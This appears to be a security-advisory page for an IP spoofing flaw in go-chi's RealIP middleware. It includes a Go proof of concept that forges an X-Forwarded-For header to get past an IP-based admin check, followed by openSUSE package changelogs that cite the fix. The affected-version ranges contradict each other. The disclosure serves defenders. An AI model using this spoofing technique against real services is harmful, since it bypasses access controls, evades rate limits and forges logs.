CVE-2026-72815

go-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

func realIP(r *http.Request) string {
    // ...
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")
    }
    // ...
}

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main

import (
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/go-chi/chi/v5"
        "github.com/go-chi/chi/v5/middleware"
)

func main() {
        r := chi.NewRouter()

        // Enable the vulnerable RealIP middleware
        r.Use(middleware.RealIP)

        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
        r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
                clientIP := r.RemoteAddr
                fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

                // Simulate IP-based access control
                if clientIP == "1.2.3.4" {
                        w.WriteHeader(http.StatusOK)
                        w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
                } else {
                        w.WriteHeader(http.StatusForbidden)
                        w.Write([]byte("Access Denied: You are not an administrator.\n"))
                }
        })

        // --- Attack Simulation ---
        fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

        // 1. Normal Request (Should be denied)
        req1, _ := http.NewRequest("GET", "/admin/secret", nil)
        rr1 := httptest.NewRecorder()
        r.ServeHTTP(rr1, req1)
        fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

        // 2. Spoofed Request (Using X-Forwarded-For)
        // Attacker claims to be '1.2.3.4'
        req2, _ := http.NewRequest("GET", "/admin/secret", nil)
        req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
        rr2 := httptest.NewRecorder()
        r.ServeHTTP(rr2, req2)
        fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}

Impact

An attacker can masquerade as any IP address. This can lead to:

• Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
• Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
• Log Forgery: Causing incorrect IP addresses to be recorded in security logs.

CWE

• CWE-290: Authentication Bypass by Spoofing
• CWE-345: Insufficient Verification of Data Authenticity

CVSS Score

• CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)

Affected Versions

• github.com/go-chi/chi/v5 <= v5.2.1 (and all previous versions)

Recommendation

1. Stop using middleware.RealIP if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.
2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
3. Use the X-Forwarded-For header by traversing it from right to left and…

go-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.

Chi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi

These are all security issues fixed in the cloudflared-2026.8.2-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the warewulf4-4.7.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the kubectl-retina-1.3.1-1.1 package on the GA media of openSUSE Tumbleweed.

This update for trivy fixes the following issue:

• CVE-2026-72815,CVE-2026-72816,CVE-2026-72817: github.com/go-chi/chi/v5: multiple IP spoofing vulnerabilities allow authentication bypass, authorization override, and log forgery (bsc#1276128).

Changes for trivy:

• Update to version 0.74.0:

• release: v0.74.0 [main] (#11037)
• chore(deps): update golang.org/x modules (#11094)
• chore(deps): bump the docker group with 2 updates (#11090)
• docs: update release branch ruleset instructions (#11093)
• chore(deps): bump the common group across 1 directory with 7 updates (#11086)
• fix(misconf): unmark cty values outside the evaluation context (#11078)
• chore(deps): bump the aws group across 1 directory with 6 updates (#11053)
• fix(misconf): parse Azure flexible server parameters under their own names (#11072)
• chore(deps): bump the docker group with 2 updates (#11054)
• feat: add RapidFort curated image scanner (#10452)
• feat(java): resolve JAR license URLs to SPDX IDs (Bundle-License, pom <url>) (#10948)
• refactor(misconf): remove unused Azure expression-related code (#10637)
• fix(server): preserve check aliases and query in uploaded blobs (#11080)
• fix(java): read artifact properties only from the MANIFEST.MF main section (#11066)
• fix(terraform): support OpenTofu language block (#10923)
• chore(deps): bump github.com/go-git/go-git/v5 from 5.19.1 to 5.19.2 (#11063)
• ci: trigger Auto Ready for Review after Test docs (#11045)
• docs: remove trivy-checks from AWS ECR locations (#11044)
• refactor(ubuntu): move EOL version resolution out of loop (#11047)
• fix(python): normalize dependency names in PEP 621 pyproject.toml (#11050)
• chore(deps): bump oras.land/oras-go/v2 from 2.6.1 to 2.6.2 (#11042)
• chore(deps): bump github.com/nikolalohinski/gonja/v2 to v2.9.0 (#11038)
• fix(terraform): avoid panic when for_each local has unknown object values (#11019)
• chore(deps): bump the github-actions group across 2 directories with 15 updates (#11028)
• ci(spdx): migrate to Slack notifications (#11032)
• ci(helm): bump Trivy version to 0.73.0 for Trivy Helm Chart 0.25.0 (#11034)

• Update to version 0.73.0:

• release: v0.73.0 [main] (#11012)
• docs: clarify debug logs when version check or telemetry is disabled (#10984)
• feat(java): support user-defined Maven mirrors in trivy.yaml (#11006)
• chore(deps): bump the common group across 1 directory with 17 updates (#11025)
• chore(deps): bump the docker group across 1 directory with 2 updates (#10991)
• chore(deps): bump the aws group across 1 directory with 6 updates (#10947)
• refactor(alpine): remove type assertion when reading the APKINDEX archive (#11013)
• chore(deps): bump google.golang.org/grpc from 1.81.1 to 1.82.1 (#10995)
• feat(vex): discover OpenVEX in generic in-toto OCI referrers (#10986)
• refactor(vuln): add OS.Supplier field and unify supplier terminology (#11007)
• chore(deps): bump github.com/google/cel-go from 0.28.1 to 0.30.0 (#11009)
• fix(vex): reject non-local VEX repository names (#10987)
• fix(vex): handle 304 status code (#10307)
• fix(vuln): don't skip packages covered by a driver's own advisory feed (#10980)
• fix(conda): avoid panic on an all-operator dependency line (#10955)
• chore: add schema id (#10969)
• feat(vex): native discovery of VEX documents stored as OCI artifacts (#10932)
• feat: add bounded read helpers (#10974)
• fix(dotnet): identify deps.json root project from dependency graph (#10954)
• feat(java): read Jenkins plugin manifest licenses (#10939)
• docs: ask contributors to coordinate before starting on an issue (#10940)
• fix(nodejs): support pnpm workspaces with overlapping packages (#10894)
• ci: create release branch with the App token to bypass the merge queue rule (#10931)
• chore(deps): bump the common group across 1 directory with 15 updates (#10892)
• feat(seal): detect no-prefix packages by version suffix (#10911)
• chore(deps): bump the testcontainers group with 2 updates…

This update for v2ray-core fixes the following issues:

Changes in v2ray-core:

• Update version to 5.53.0

  • Add X-Forwarded-For support to gRPC transport
  • Add Stream based Packet Addr for UDP Connections
  • rrpit: compact session, async send, session recovery
  • Add socks5ify engineering command
  • Fix bugs
  • Update modules (boo#1276119 and CVE-2026-72817, CVE-2026-72815, CVE-2026-72816)

• Update version to 5.51.2

  • Wireguard Add TCP Listener support for wireguard outbound
  • Stun Nat Type Testing
  • Better server failure detection and PreserveSourceIPPortWhenDestNATMapping detection
  • Improve API instance support
  • feat: grpc: allow configurable keepalive and initial windows size
  • Add RRPIT - Rapid Reliable Packet Interactive Transport
  • Add WebRTC Tunnel Support in V2Ray(unreleased)
  • also parse X-Forwarded-For in httpupgrade
  • gdocsviewer: Add Google Docs Viewer based transport
  • gdocsviewer: Refine poll logic and allow custom headers to reduce rate limiting
  • gdocsviewer: allow adding headers in public config
  • Fix bugs (boo#1258546 and CVE-2026-27017)

• update golang.org/x/net to 0.55.0 to fix boo#1266787 and CVE-2026-39821

This update for cloudflared fixes the following issues:

Changes in cloudflared:

• Update version to 2026.8.2
  • Update vendor archive to fix github.com/go-chi/chi/v5 (boo#1276196, CVE-2026-72815, CVE-2026-72816, CVE-2026-72817)
  • Add OpenRC support
  • Migrate config renovate.json
  • Fix bugs

This update for hauler fixes the following issues:

Changes in hauler:

• update to 2.1.0 (bsc#1265425, CVE-2026-41888):

  • v2.1.0 is a minor release built on the containerd- native foundation laid down in v2.0.0. The headline is that hauler store sync and hauler store add are now fully concurrent, with signature verification pinned to digests and running in parallel too. Alongside that, this release adds an audit trail, a store integrity checker, store-to-manifest generation, private/insecure registry support across every pull path, and a set of fixes for containerd imports, chunked hauls, and Docker Hub reference handling.
  • Notable dependency bumps: Go → 1.26.6; containerd/v2 → 2.3.4; sigstore/cosign/v3 → 3.1.3; sigstore/sigstore → 1.10.9; go-containerregistry → 0.22.0; helm/v4 → 4.2.4; k8s.io libs (apimachinery, api, client-go) → 0.37.0; logrus → 1.10.2; docker/go-metrics → 0.1.0; sigstore/rekor → 1.5.4 (CVE resolution); plus x/mod and go-isatty.

• update to 2.0.3 (bsc#1276124, CVE-2026-72817,CVE-2026-72815,CVE-2026-72816):

  • Bump k8s.io/apimachinery from 0.36.2 to 0.36.3 (backport #688)
  • Bump oras.land/oras-go/v2 from 2.6.1 to 2.6.2 in the go_modules group across 1 directory (backport #691)
  • fix for homebrew macOS binary quarantine (backport #690)
  • fix: process Helm deps before --add-images discovery (backport #703)
  • update hauler store remove to handle registry reference as part of string (backport #705)
  • fixed vuln for golang grpc

This update for warewulf4 fixes the following issues:

Changes in warewulf4:

• updating to v4.7.1 with the following changes
  • wwctl power no longer falls back to the local BMC for nodes with no ipmi: ipaddr:, which could power off the Warewulf server itself
  • wwclient is built with GOAMD64=v1 and no longer fails with an illegal instruction on older nodes
  • prevent image and overlay corruption from 64-bit inode numbers truncating in cpio
  • fix kernel version detection for releases with a version-like suffix after the dist tag
  • several fixes for IPv6-only servers and nodes: dracut boot, wwctl node status, dnsmasq, NetworkManager
  • remove dsa from the default ssh: key types, which could leave nodes with no usable host keys on EL9
  • mount non-root filesystems before image extraction during provision-to-disk
  • overlay template fixes for parent directories and symbolic links
• dependency updates, including go-jose 4.1.4 for CVE-2026-34986 (bsc#1262805)
• updated go-chi to v5.3.2 to fix CVE-2026-72815, CVE-2026-72816 and CVE-2026-72817 (IP spoofing: authentication bypass, authorization override, and log forgery) (bsc#1276100)